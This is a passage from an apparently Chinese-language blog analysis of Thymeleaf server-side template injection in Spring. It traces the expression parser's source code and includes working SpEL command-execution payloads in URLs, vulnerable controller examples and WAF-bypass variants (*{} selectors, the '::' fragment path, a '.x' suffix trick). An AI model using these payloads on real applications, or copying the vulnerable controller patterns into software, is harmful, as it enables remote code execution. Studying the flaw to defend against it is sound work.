// 将解析出的表达式添加到状态中 , 如果失败则返回null
if (addExpressionAtIndex(expr, currentIndex++, state, decomposedInput, currentFragment) == null) {
return null;
}

// 重置状态为普通文本状态
inLiteral = false;
inNothing = true;

}
// 情况3 : 在字面量内部(直接添加字符 , 不进行特殊解析)
else if (inLiteral) {
currentFragment.append(c);

}
// 情况4 : 开始表达式(检测到表达式选择符后跟表达式开始字符且当前处于普通文本状态)
else if (inNothing &&
(c == VariableExpression.SELECTOR || // 变量表达式选择符 $
c == SelectionVariableExpression.SELECTOR || // 选择变量表达式选择符 *
c == MessageExpression.SELECTOR || // 消息表达式选择符 #
c == LinkExpression.SELECTOR || // 链接表达式选择符 @
c == FragmentExpression.SELECTOR) && // 片段表达式选择符 ~
(i + 1 < inputLen && input.charAt(i+1) == SimpleExpression.EXPRESSION_START_CHAR)) { // 下一位是否是 {
// 结束之前的文本片段(如果有)并开始新的表达式
finishCurrentFragment(decomposedInput, currentFragment);

// 添加表达式选择符和开始字符({)
currentFragment.append(c); // 添加表达式选择符
currentFragment.append(SimpleExpression.EXPRESSION_START_CHAR); // 添加{
i++; // 跳过下一个字符(因为我们已经知道它是表达式开始字符, 已经添加过了)

expLevel = 1; // 设置表达式层级为1(最外层)
inNothing = false; // 离开普通文本状态

}
// 情况5 : 结束表达式(检测到表达式结束字符'}',且处于最外层表达式)
else if (expLevel == 1 && c == SimpleExpression.EXPRESSION_END_CHAR) {
// 添加表达式结束字符
currentFragment.append(SimpleExpression.EXPRESSION_END_CHAR);

// 根据表达式选择符创建相应的表达式对象
final char expSelectorChar = currentFragment.charAt(0);
final Expression expr;

switch (expSelectorChar) {
case VariableExpression.SELECTOR: // 变量表达式选择符 $
expr = VariableExpression.parseVariableExpression(currentFragment.toString());
break;
case SelectionVariableExpression.SELECTOR: // 选择变量表达式选择符 *
expr = SelectionVariableExpression.parseSelectionVariableExpression(currentFragment.toString());
break;
case MessageExpression.SELECTOR: // 消息表达式选择符 #
expr = MessageExpression.parseMessageExpression(currentFragment.toString());
break;
case LinkExpression.SELECTOR: // 链接表达式选择符 @
expr = LinkExpression.parseLinkExpression(currentFragment.toString());
break;
case FragmentExpression.SELECTOR: // 片段表达式选择符 ~
expr = FragmentExpression.parseFragmentExpression(currentFragment.toString());
break;
default:
return null; // 未知的选择符类型 , 解析失败
}

// 将解析出的表达式添加到状态中 , 如果失败则返回null
if (addExpressionAtIndex(expr, currentIndex++, state, decomposedInput, currentFragment) == null) {
return null;
}

// 重置表达式状态
expLevel = 0;
inNothing = true;

}
// 情况6 : 进入嵌套表达式(在表达式内部遇到新的表达式开始字符)
else if (expLevel > 0 && c == SimpleExpression.EXPRESSION_START_CHAR) {
expLevel++; // 增加嵌套层级
currentFragment.append(SimpleExpression.EXPRESSION_START_CHAR);

}
// 情况7 : 退出嵌套表达式(在嵌套表达式中遇到表达式结束字符)
else if (expLevel > 1 && c == SimpleExpression.EXPRESSION_END_CHAR) {
expLevel--; // 减少嵌套层级
currentFragment.append(SimpleExpression.EXPRESSION_END_CHAR);

}
// 情况8 : 在表达式内部(非开始/结束字符 , 直接添加)
else if (expLevel > 0) {
currentFragment.append(c);

}
// 情况9 : 开始token(检测到有效的token起始字符且当前处于普通文本状态)
else if (inNothing && Token.isTokenChar(input, i)) {
// 结束之前的文本片段(如果有)并开始新的token
finishCurrentFragment(decomposedInput, currentFragment);

currentFragment.append(c);

inToken = true; // 进入token解析状态
inNothing = false; // 离开普通文本状态

}
// 情况10 : 默认情况(普通文本字符或token的后续字符)
else {
currentFragment.append(c);
}
}

// 解析结束后的完整性检查 : 如果仍处于字面量或表达式中 , 说明有未闭合的表达式
if (inLiteral || expLevel > 0) {
return null;
}

// 处理最后一个token(如果输入以token结束)
if (inToken) {
if (finishCurrentToken(currentIndex++, state, decomposedInput, currentFragment) != null) {
currentIndex++;
}
}

// 将剩余的文本片段添加到分解结果中
decomposedInput.append(currentFragment);

// 在索引0位置插入完整的分解结果
state.insertNode(0, decomposedInput.toString());

return state;
}

读取我们的 ${T (java.lang.Runtime).getRuntime().exec("cmd /c calc")} 时 , 会解析到 ${ , 从而判断当前是一个变量表达式 ( VariableExpression )

读取到 } 后会进入 switch case 语句 :

跟进 :

所以我们的 payload 中 , 在 ${} 里面还可以再套一层 {} , 即 ${{SpEL}}

退出来 , 最后 decomposedInput 会变成一个占位符 , 然后放在 state 里面并返回

再退出来 , 进入 org.thymeleaf.standard.expression.ExpressionParsingUtil#decomposeNestingParenthesis :

该方法是用来处理嵌套的圆括号的 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
/**
* 分解嵌套括号的递归方法
* 将包含嵌套括号的表达式分解为多个扁平化的子表达式
*
* @param state 表达式解析状态对象 , 包含所有解析节点
* @param nodeIndex 当前要处理的节点索引
* @return 成功返回处理后的ExpressionParsingState , 失败返回null
*/
private static ExpressionParsingState decomposeNestingParenthesis(
final ExpressionParsingState state, final int nodeIndex) { // nodeIndex=0

// ========== 参数验证阶段 ==========
// 检查state是否为null或nodeIndex是否越界
if (state == null || nodeIndex >= state.size()) {
return null; // 无效输入 , 直接返回null
}

// 如果当前节点已经被标记为表达式(已经解析过) , 则直接返回当前状态
// 这相当于递归的终止条件之一 , 避免重复处理
if (state.hasExpressionAt(nodeIndex)) {
return state;
}

// ========== 初始化阶段 ==========
// 获取当前节点要解析的原始输入字符串
final String input = state.get(nodeIndex).getInput();

// decomposedString: 用于构建分解后的字符串(用占位符替换嵌套部分)
final StringBuilder decomposedString = new StringBuilder(24);

// currentFragment: 用于临时存储当前正在处理的字符片段
final StringBuilder currentFragment = new StringBuilder(24);

// currentIndex: 下一个可用的节点索引 , 从当前state的大小开始
int currentIndex = state.size();

// nestedInputs: 存储所有发现的嵌套表达式的节点索引
final List<Integer> nestedInputs = new ArrayList<Integer>(6);

// parLevel: 括号层级计数器 , 用于跟踪当前所在的嵌套深度
// 0表示不在任何括号内 , 1表示在一层括号内 , 2表示在两层括号内 , 依此类推
int parLevel = 0;

// ========== 核心解析阶段 : 遍历输入字符串 ==========
final int inputLen = input.length();
for (int i = 0; i < inputLen; i++) {

// 获取当前字符
final char c = input.charAt(i);

// 情况1 : 遇到嵌套开始字符'('
if (c == Expression.NESTING_START_CHAR) {

// 检查是否刚刚进入新的嵌套层级(即从0变为1)
if (parLevel == 0) {
// 这是新嵌套的开始 :
// 1. 将当前积累的片段添加到分解字符串中(嵌套前的部分)
decomposedString.append(currentFragment);
// 2. 清空当前片段 , 准备接收嵌套内的内容
currentFragment.setLength(0);
} else {
// 这表示我们已经在嵌套内部 , 现在遇到了更深层的嵌套
// 直接将嵌套开始字符添加到当前片段中
currentFragment.append(Expression.NESTING_START_CHAR);
}

// 增加括号层级(无论是否是新嵌套的开始)
parLevel++;

// 情况2 : 遇到嵌套结束字符 ')'
} else if (c == Expression.NESTING_END_CHAR) {

// 减少括号层级(我们正在退出一个嵌套层级)
parLevel--;

// 检查括号是否匹配 : 如果parLevel小于0 , 说明有多余的结束括号
if (parLevel < 0) {
return null; // 括号不匹配 , 返回null表示解析失败
}

// 检查是否刚刚完成一个完整的嵌套表达式(即从1变为0)
if (parLevel == 0) {
// 这是一个完整嵌套的结束 :

// 1. 为这个嵌套表达式创建新的节点索引
final int nestedIndex = currentIndex++;

// 2. 记录这个嵌套节点的索引 , 以便后续递归处理
nestedInputs.add(Integer.valueOf(nestedIndex));

// 3. 在分解字符串中添加占位符 , 格式如 : ${index}
// 这表示"这里曾经有一个嵌套表达式 , 现在在节点index中"
decomposedString.append(Expression.PARSING_PLACEHOLDER_CHAR);
decomposedString.append(String.valueOf(nestedIndex));
decomposedString.append(Expression.PARSING_PLACEHOLDER_CHAR);

// 4. 将嵌套内容作为新节点添加到state中
state.addNode(currentFragment.toString());

// 5. 清空当前片段 , 准备接收后续内容
currentFragment.setLength(0);
} else {
// 这表示我们退出的是内部嵌套 , 但外层嵌套仍在继续
// 直接将嵌套结束字符添加到当前片段中
currentFragment.append(Expression.NESTING_END_CHAR);
}

// 情况3 : 普通字符(既不是开始括号也不是结束括号)
} else {
// 直接将字符添加到当前片段中
currentFragment.append(c);
}

} // 结束字符遍历循环

// ========== 解析后检查阶段 ==========
// 检查括号是否完全匹配 : 如果parLevel > 0 , 说明有未闭合的括号
if (parLevel > 0) {
return null; // 括号不匹配 , 返回null表示解析失败
}

// 将最后积累的片段(如果有的话)添加到分解字符串中
// 这处理了嵌套表达式之后可能还有内容的情况
decomposedString.append(currentFragment);

// 用分解后的字符串(包含占位符)更新当前节点
state.setNode(nodeIndex, decomposedString.toString());

// ========== 递归处理阶段 ==========
// 对每个发现的嵌套表达式进行递归处理
for (final Integer nestedInput : nestedInputs) {
// 递归调用自身来处理嵌套表达式
// 如果任何递归调用返回null , 说明解析失败 , 整体返回null
if (decomposeNestingParenthesis(state, nestedInput.intValue()) == null) {
return null;
}
}

// ========== 成功返回 ==========
// 所有处理都成功完成 , 返回更新后的state
return state;
}

由于我们这里也并没有嵌套园括号 , 所以实际上还是刚才的 state

decompose 结束之后又会进行 compose :

跟进两次之后来到 org.thymeleaf.standard.expression.ExpressionParsingUtil#compose(org.thymeleaf.standard.expression.ExpressionParsingState, int) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
/**
* 组合表达式解析状态 - 将指定节点的输入字符串解析为表达式对象
* 这是一个递归解析方法 , 会按照优先级顺序尝试不同的表达式类型
*
* @param state 当前的表达式解析状态 , 包含所有节点的信息
* @param nodeIndex 要解析的节点索引
* @return 更新后的解析状态 , 如果解析失败则返回null
*/
static ExpressionParsingState compose(final ExpressionParsingState state, final int nodeIndex) {

// 非空判断 + 索引越界判断
if (state == null || nodeIndex >= state.size()) {
return null;
}

// 如果该节点已经有表达式对象 , 直接返回当前状态(避免重复解析)
if (state.hasExpressionAt(nodeIndex)) {
return state;
}

// 获取节点的输入字符串,这里是 §1§
final String input = state.get(nodeIndex).getInput();

// 检查输入是否为空或空白字符串
if (StringUtils.isEmptyOrWhitespace(input)) {
return null;
}

/*
* STEP 1: 检查节点是否为简单的表达式占位符
* 如果是 , 则用其引用的表达式替换当前节点
*/
final int parsedIndex = parseAsSimpleIndexPlaceholder(input); // 这里会判断输入是否是 §数字§,是则返回数字,不是则返回-1,这里返回的是1
if (parsedIndex != -1) {
// 递归解析被引用的表达式
if (compose(state, parsedIndex) == null) { // 判断下标为1处是否有表达式
return null; // 如果引用表达式解析失败 , 返回null
}
// 验证被引用的节点确实有表达式
if (!state.hasExpressionAt(parsedIndex)) {
return null;
}
// 用引用节点的表达式替换当前节点
state.setNode(nodeIndex, state.get(parsedIndex).getExpression());
return state; // 我们在这里就返回了
}

/*
* STEP 2: 尝试将节点解析为条件表达式(三元运算符)
* 格式 : condition ? trueValue : falseValue
*/
if (ConditionalExpression.composeConditionalExpression(state, nodeIndex) == null) {
return null; // 条件表达式解析失败
}
if (state.hasExpressionAt(nodeIndex)) {
return state; // 成功解析为条件表达式
}

/*
* STEP 3: 尝试将节点解析为默认值表达式
* 格式 : value ?? defaultValue(当value为null时使用defaultValue)
*/
if (DefaultExpression.composeDefaultExpression(state, nodeIndex) == null) {
return null;
}
if (state.hasExpressionAt(nodeIndex)) {
return state;
}

/*
* STEP 4: 尝试将节点解析为OR逻辑表达式
* 格式 : expr1 || expr2
*/
if (OrExpression.composeOrExpression(state, nodeIndex) == null) {
return null;
}
if (state.hasExpressionAt(nodeIndex)) {
return state;
}

/*
* STEP 5: 尝试将节点解析为AND逻辑表达式
* 格式 : expr1 && expr2
*/
if (AndExpression.composeAndExpression(state, nodeIndex) == null) {
return null;
}
if (state.hasExpressionAt(nodeIndex)) {
return state;
}

/*
* STEP 6: 尝试将节点解析为等于/不等于表达式
* 格式 : expr1 == expr2 或 expr1 != expr2
*/
if (EqualsNotEqualsExpression.composeEqualsNotEqualsExpression(state, nodeIndex) == null) {
return null;
}
if (state.hasExpressionAt(nodeIndex)) {
return state;
}

/*
* STEP 7: 尝试将节点解析为大于/小于表达式
* 格式 : expr1 > expr2, expr1 < expr2, expr1 >= expr2, expr1 <= expr2
*/
if (GreaterLesserExpression.composeGreaterLesserExpression(state, nodeIndex) == null) {
return null;
}
if (state.hasExpressionAt(nodeIndex)) {
return state;
}

/*
* STEP 8: 尝试将节点解析为加法/减法表达式
* 格式 : expr1 + expr2 或 expr1 - expr2
*/
if (AdditionSubtractionExpression.composeAdditionSubtractionExpression(state, nodeIndex) == null) {
return null;
}
if (state.hasExpressionAt(nodeIndex)) {
return state;
}

/*
* STEP 9: 尝试将节点解析为乘法/除法/取模表达式
* 格式 : expr1 * expr2, expr1 / expr2, expr1 % expr2
*/
if (MultiplicationDivisionRemainderExpression.composeMultiplicationDivisionRemainderExpression(state, nodeIndex) == null) {
return null;
}
if (state.hasExpressionAt(nodeIndex)) {
return state;
}

/*
* STEP 10: 尝试将节点解析为负号表达式
* 格式 : -expr(一元负号运算符)
*/
if (MinusExpression.composeMinusExpression(state, nodeIndex) == null) {
return null;
}
if (state.hasExpressionAt(nodeIndex)) {
return state;
}

/*
* STEP 11: 尝试将节点解析为逻辑非表达式
* 格式 : !expr(逻辑非运算符)
*/
if (NegationExpression.composeNegationExpression(state, nodeIndex) == null) {
return null;
}
if (state.hasExpressionAt(nodeIndex)) {
return state;
}

// 如果所有表达式类型都无法解析 , 返回null表示解析失败
return null;
}

后面获取了第一个作为表达式 , 一路向上返回 :

放入缓存 :

最后准备执行 :

可以看到执行的表达式已经是 SpEL 的形式了 , 后面继续跟进就能看到使用的是 SpEL :

后续就是执行 SpEL 的流程


非预处理分支

前面说到过在 org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean) 中会判断是否要进行预处理 , 我们上一步默认是 True

但是当我们的 input 中不含 _ 时 , 就不会进行预处理 , 那么不进行预处理就打不通了吗 ?

其实对于下面的场景还是可以打通的 ( :: 前面或后面的内容完全可控的情况 ) :

1
2
3
4
5
// http://127.0.0.1:8080/path?lang=$%7BT%20(java.lang.Runtime).getRuntime().exec("cmd /c calc")%7D::
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang + "welcome";
}
1
2
3
4
5
// http://127.0.0.1:8080/path?lang=::$%7BT%20(java.lang.Runtime).getRuntime().exec("cmd /c calc")%7D
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "welcome" + lang;
}

以第一个为例

org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean) 下断点 , 开始调试 :

由于没有下划线 , 所以会直接原样返回

跟进 , 发现又回到了熟悉的地方 :

和经过预处理的区别在于 , 预处理会去除前面的字符 , 到这里的时候会直接解析 ${} 的部分

而当我们没有经过预处理时 , 到这里的时候由于最外层是一个 ~{} , 会先当作片段表达式解析

接下来直接来到熟悉的 switch case 语句部分 :

跟进 , 他会提取出 ~{} 中间的内容然后进一步调用 org.thymeleaf.standard.expression.FragmentExpression#parseFragmentExpressionContent :

继续跟进 :

这里面会把 templateName 和 fragment ( :: 后面的部分 ) 分开

接下来我们重点追踪 templateNameStr :

首先是进行非空判断 , 然后进入 parseDefaultAsLiteral :

继续跟进 :

又回到熟悉的地方了 , 最后返回 SpEL :

一路向上返回 :

这里只是进行了简单的封装 , 不重要

继续一直向上返回 , 直到 org.thymeleaf.spring5.view.ThymeleafView#renderFragment :

跟进 :

继续跟进 :

发现它会提取出模板名进行执行 , 接下来就和之前的执行表达式的流程一样了

如果是 :: 后面内容可控为什么也可以呢 ? 因为后面对于 Selector 也会进行同样的操作 :


关于 ${ }

我们使用 ${} 包裹 SpEL 的 payload , 是因为在 decompose 的时候会进行表达式解析 :

再贴一遍刚才的代码 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
// org.thymeleaf.standard.expression.ExpressionParsingUtil#decomposeSimpleExpressions

/**
* 分解简单表达式 - 将输入字符串解析为文本片段和表达式对象的混合序列
* 支持多种表达式类型 : 变量表达式、选择表达式、消息表达式、链接表达式、片段表达式、文本字面量和普通token
*
* @param input 待解析的输入字符串 , 可能包含各种表达式和普通文本
* @return ExpressionParsingState 包含解析后的表达式序列和状态信息 , 解析失败时返回null
*/
private static ExpressionParsingState decomposeSimpleExpressions(final String input) {

// 首先处理输入为null的情况
if (input == null) {
return null;
}

// 创建解析状态对象 , 用于存储解析结果
final ExpressionParsingState state = new ExpressionParsingState();

// 处理空字符串或纯空白字符串的情况
if (StringUtils.isEmptyOrWhitespace(input)) {
state.addNode(input);
return state;
}

// 初始化字符串构建器 : decomposedInput用于存储分解后的整体结果 , currentFragment用于存储当前正在处理的片段
final StringBuilder decomposedInput = new StringBuilder(24);
final StringBuilder currentFragment = new StringBuilder(24);
int currentIndex = 1; // 表达式索引计数器 , 从1开始

// 解析状态标志
int expLevel = 0; // 表达式嵌套层级(用于处理嵌套表达式)
boolean inLiteral = false; // 是否处于文本字面量中(由分隔符包围的文本)
boolean inToken = false; // 是否处于token解析中(连续的token字符)
boolean inNothing = true; // 是否处于普通文本状态(既不在字面量、表达式也不在token中)

final int inputLen = input.length();

// 遍历输入字符串的每个字符进行解析
for (int i = 0; i < inputLen; i++) {

/*
* 第一步 : 检查是否需要结束当前token
* 当处于token解析状态且当前字符不是有效的token字符时 , 结束当前token
*/
if (inToken && !Token.isTokenChar(input, i)) {
// 结束当前token并创建相应的表达式对象
if (finishCurrentToken(currentIndex, state, decomposedInput, currentFragment) != null) {
// 如果token被成功接受并创建了表达式对象 , 递增索引
currentIndex++;
}

// 重置状态为普通文本状态
inToken = false;
inNothing = true;
}

/*
* 第二步 : 处理当前字符
* 根据当前解析状态处理每个字符
*/
final char c = input.charAt(i);

// 情况1 : 开始文本字面量(检测到未转义的字面量分隔符且当前处于普通文本状态)
if (inNothing && c == TextLiteralExpression.DELIMITER && !TextLiteralExpression.isDelimiterEscaped(input, i)) {
// 结束之前的文本片段(如果有)并开始新的字面量
finishCurrentFragment(decomposedInput, currentFragment);

currentFragment.append(c); // 添加字面量开始分隔符

inLiteral = true; // 进入字面量状态
inNothing = false; // 离开普通文本状态

}
// 情况2 : 结束文本字面量(检测到未转义的字面量分隔符且当前处于字面量状态)
else if (inLiteral && c == TextLiteralExpression.DELIMITER && !TextLiteralExpression.isDelimiterEscaped(input, i)) {
// 添加字面量结束分隔符
currentFragment.append(c);

// 解析文本字面量表达式
final TextLiteralExpression expr = TextLiteralExpression.parseTextLiteralExpression(currentFragment.toString());

// 将解析出的表达式添加到状态中 , 如果失败则返回null
if (addExpressionAtIndex(expr, currentIndex++, state, decomposedInput, currentFragment) == null) {
return null;
}

// 重置状态为普通文本状态
inLiteral = false;
inNothing = true;

}
// 情况3 : 在字面量内部(直接添加字符 , 不进行特殊解析)
else if (inLiteral) {
currentFragment.append(c);

}
// 情况4 : 开始表达式(检测到表达式选择符后跟表达式开始字符且当前处于普通文本状态)
else if (inNothing &&
(c == VariableExpression.SELECTOR || // 变量表达式选择符 $
c == SelectionVariableExpression.SELECTOR || // 选择变量表达式选择符 *
c == MessageExpression.SELECTOR || // 消息表达式选择符 #
c == LinkExpression.SELECTOR || // 链接表达式选择符 @
c == FragmentExpression.SELECTOR) && // 片段表达式选择符 ~
(i + 1 < inputLen && input.charAt(i+1) == SimpleExpression.EXPRESSION_START_CHAR)) { // 下一位是否是 {
// 结束之前的文本片段(如果有)并开始新的表达式
finishCurrentFragment(decomposedInput, currentFragment);

// 添加表达式选择符和开始字符({)
currentFragment.append(c); // 添加表达式选择符
currentFragment.append(SimpleExpression.EXPRESSION_START_CHAR); // 添加{
i++; // 跳过下一个字符(因为我们已经知道它是表达式开始字符, 已经添加过了)

expLevel = 1; // 设置表达式层级为1(最外层)
inNothing = false; // 离开普通文本状态

}
// 情况5 : 结束表达式(检测到表达式结束字符'}',且处于最外层表达式)
else if (expLevel == 1 && c == SimpleExpression.EXPRESSION_END_CHAR) {
// 添加表达式结束字符
currentFragment.append(SimpleExpression.EXPRESSION_END_CHAR);

// 根据表达式选择符创建相应的表达式对象
final char expSelectorChar = currentFragment.charAt(0);
final Expression expr;

switch (expSelectorChar) {
case VariableExpression.SELECTOR: // 变量表达式选择符 $
expr = VariableExpression.parseVariableExpression(currentFragment.toString());
break;
case SelectionVariableExpression.SELECTOR: // 选择变量表达式选择符 *
expr = SelectionVariableExpression.parseSelectionVariableExpression(currentFragment.toString());
break;
case MessageExpression.SELECTOR: // 消息表达式选择符 #
expr = MessageExpression.parseMessageExpression(currentFragment.toString());
break;
case LinkExpression.SELECTOR: // 链接表达式选择符 @
expr = LinkExpression.parseLinkExpression(currentFragment.toString());
break;
case FragmentExpression.SELECTOR: // 片段表达式选择符 ~
expr = FragmentExpression.parseFragmentExpression(currentFragment.toString());
break;
default:
return null; // 未知的选择符类型 , 解析失败
}

// 将解析出的表达式添加到状态中 , 如果失败则返回null
if (addExpressionAtIndex(expr, currentIndex++, state, decomposedInput, currentFragment) == null) {
return null;
}

// 重置表达式状态
expLevel = 0;
inNothing = true;

}
// 情况6 : 进入嵌套表达式(在表达式内部遇到新的表达式开始字符)
else if (expLevel > 0 && c == SimpleExpression.EXPRESSION_START_CHAR) {
expLevel++; // 增加嵌套层级
currentFragment.append(SimpleExpression.EXPRESSION_START_CHAR);

}
// 情况7 : 退出嵌套表达式(在嵌套表达式中遇到表达式结束字符)
else if (expLevel > 1 && c == SimpleExpression.EXPRESSION_END_CHAR) {
expLevel--; // 减少嵌套层级
currentFragment.append(SimpleExpression.EXPRESSION_END_CHAR);

}
// 情况8 : 在表达式内部(非开始/结束字符 , 直接添加)
else if (expLevel > 0) {
currentFragment.append(c);

}
// 情况9 : 开始token(检测到有效的token起始字符且当前处于普通文本状态)
else if (inNothing && Token.isTokenChar(input, i)) {
// 结束之前的文本片段(如果有)并开始新的token
finishCurrentFragment(decomposedInput, currentFragment);

currentFragment.append(c);

inToken = true; // 进入token解析状态
inNothing = false; // 离开普通文本状态

}
// 情况10 : 默认情况(普通文本字符或token的后续字符)
else {
currentFragment.append(c);
}
}

// 解析结束后的完整性检查 : 如果仍处于字面量或表达式中 , 说明有未闭合的表达式
if (inLiteral || expLevel > 0) {
return null;
}

// 处理最后一个token(如果输入以token结束)
if (inToken) {
if (finishCurrentToken(currentIndex++, state, decomposedInput, currentFragment) != null) {
currentIndex++;
}
}

// 将剩余的文本片段添加到分解结果中
decomposedInput.append(currentFragment);

// 在索引0位置插入完整的分解结果
state.insertNode(0, decomposedInput.toString());

return state;
}

当我们使用 ${} 包裹的时候 , 整个字符串会被当作变量表达式 , 最后进入下面的 switch case 分支 :

所以只要我们最后能返回 SpEL 语句 , 进入哪个分支其实都无所谓

比如我们就可以用选择变量表达式 *{} :

但是也不是所有表达式都能用 , 比如消息表达式 #{} :

进入之前还是正常的 :

但是解析结果却是空 :

跟进看看为什么 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// org.thymeleaf.standard.expression.MessageExpression#parseMessageExpression

/**
* 解析消息表达式
* @param input 输入的字符串 , 此时为 #{T (java.lang.Runtime).getRuntime().exec("cmd /c calc")}
* @return 解析成功的MessageExpression对象 , 解析失败返回null
*/
static MessageExpression parseMessageExpression(final String input) {
// 使用正则匹配 #{...} 中的内容
final Matcher matcher = MSG_PATTERN.matcher(input);

// 没匹配到则直接返回 null
if (!matcher.matches()) {
return null;
}

// 提取匹配到的第一组内容,这里是T (java.lang.Runtime).getRuntime().exec("cmd /c calc")
final String content = matcher.group(1);

// 非空判断
if (StringUtils.isEmptyOrWhitespace(content)) {
return null;
}

// 去除首尾空白字符
final String trimmedInput = content.trim();

// 检查是否以')'结尾,这里是为了处理#{message.key(param1, param2)}这种表达式
if (trimmedInput.endsWith(String.valueOf(PARAMS_END_CHAR))) {

boolean inLiteral = false; // 是否在字符串字面量中
int nestParLevel = 0; // 括号嵌套层级

// 从后向前遍历 , 找到匹配的左括号
for (int i = trimmedInput.length() - 1; i >= 0; i--) {

final char c = trimmedInput.charAt(i);

if (c == TextLiteralExpression.DELIMITER) { // 遇到字符串分隔符
// 检查是否是转义的分隔符
if (i == 0 || content.charAt(i - 1) != '\\') {
inLiteral = !inLiteral; // 切换字面量状态
}

} else if (c == PARAMS_END_CHAR) { // 遇到参数结束括号
if (!inLiteral) {
nestParLevel++; // 增加嵌套层级
}

} else if (c == PARAMS_START_CHAR) { // 遇到参数开始括号
if (!inLiteral) {
nestParLevel--; // 减少嵌套层级

if (nestParLevel < 0) {
return null; // 括号不匹配
}

// 找到最外层的参数开始括号
if (nestParLevel == 0) {

if (i == 0) {
return null; // 括号在开头 , 没有基础表达式
}

// 分割基础表达式和参数部分
final String base = trimmedInput.substring(0, i);
final String parameters = trimmedInput.substring(i + 1, trimmedInput.length() - 1);

// 解析基础表达式
final Expression baseExpr = parseDefaultAsLiteral(base);
if (baseExpr == null) {
return null;
}

// 解析参数表达式序列
final ExpressionSequence parametersExprSeq =
ExpressionSequenceUtils.internalParseExpressionSequence(parameters);
if (parametersExprSeq == null) {
return null;
}

return new MessageExpression(baseExpr, parametersExprSeq);
}
}
}
}

return null; // 没有找到匹配的括号

}

// 没有参数的情况 , 直接解析基础表达式
final Expression baseExpr = parseDefaultAsLiteral(trimmedInput);
if (baseExpr == null) {
return null;
}

return new MessageExpression(baseExpr, null);
}

可以看到它会尝试解析我们 () 内的东西 , 导致我们的 SpEL Payload 被打乱了

只要 #{} 里面的内容不以 ) 结尾应该就可以了 , 不过目前我还没想到解决方案

回去看看为什么*{} 可以用 :

会发现其实 *{} 的处理逻辑和 ${} 差不多 , 并且也都支持嵌套一层 {}

测试完所有表达式之后发现 , 好像只有 ${}*{} 能用 , 用后者或许可以在某些情况下绕 WAF


applyDefaultViewName

一种特殊的情况 ( 注意不能有返回值 , 否则不会触发 ) :

1
2
3
4
5
// http://127.0.0.1:8080/path/__%24%7BT(Runtime).getRuntime().exec(new%20String%5B%5D%7B%22calc%22%7D)%7D__%3A%3A.x
@GetMapping("/path/{lang}")
public void path(@PathVariable String lang) {
System.out.println(lang);
}

漏洞触发点位于 applyDefaultViewName , 先来到 org.springframework.web.servlet.DispatcherServlet#doDispatch 然后一路跟进 :

这里比较重要 , 注意它会删除扩展名 :

如果我们末尾不加 .x 的话就会把 .exec(new String[]{"calc"})}__:: 当作后缀从而破坏我们的 payload :

当然 , 只加一个 . 也是可以的 :

往回走 , 给 mv 设置了 ViewName :

之后就和前面的流程一样了 , 走到 processDispatchResult , 然后一路走到 render :

我们刚才给 ViewName 设置了值

这个 ViewName 就是后面的 viewTemplateName , 后面的流程就和之前一样了


**为什么 ViewName 会变成后面的 **viewTemplateName ?

在 render 的时候 , 会加载视图 , 将 ViewName 设置为 TemplateName :

调用栈如下 :

1
2
3
4
5
6
7
8
9
10
11
setTemplateName:408, AbstractThymeleafView (org.thymeleaf.spring5.view)
loadView:867, ThymeleafViewResolver (org.thymeleaf.spring5.view)
createView:796, ThymeleafViewResolver (org.thymeleaf.spring5.view)
resolveViewName:174, AbstractCachingViewResolver (org.springframework.web.servlet.view)
getCandidateViews:310, ContentNegotiatingViewResolver (org.springframework.web.servlet.view)
resolveViewName:228, ContentNegotiatingViewResolver (org.springframework.web.servlet.view)
resolveViewName:1414, DispatcherServlet (org.springframework.web.servlet)
render:1350, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
......

为什么 Controller 不能有返回值 ?

搭建一个测试环境 :

1
2
3
4
@GetMapping("/path/{lang}")  
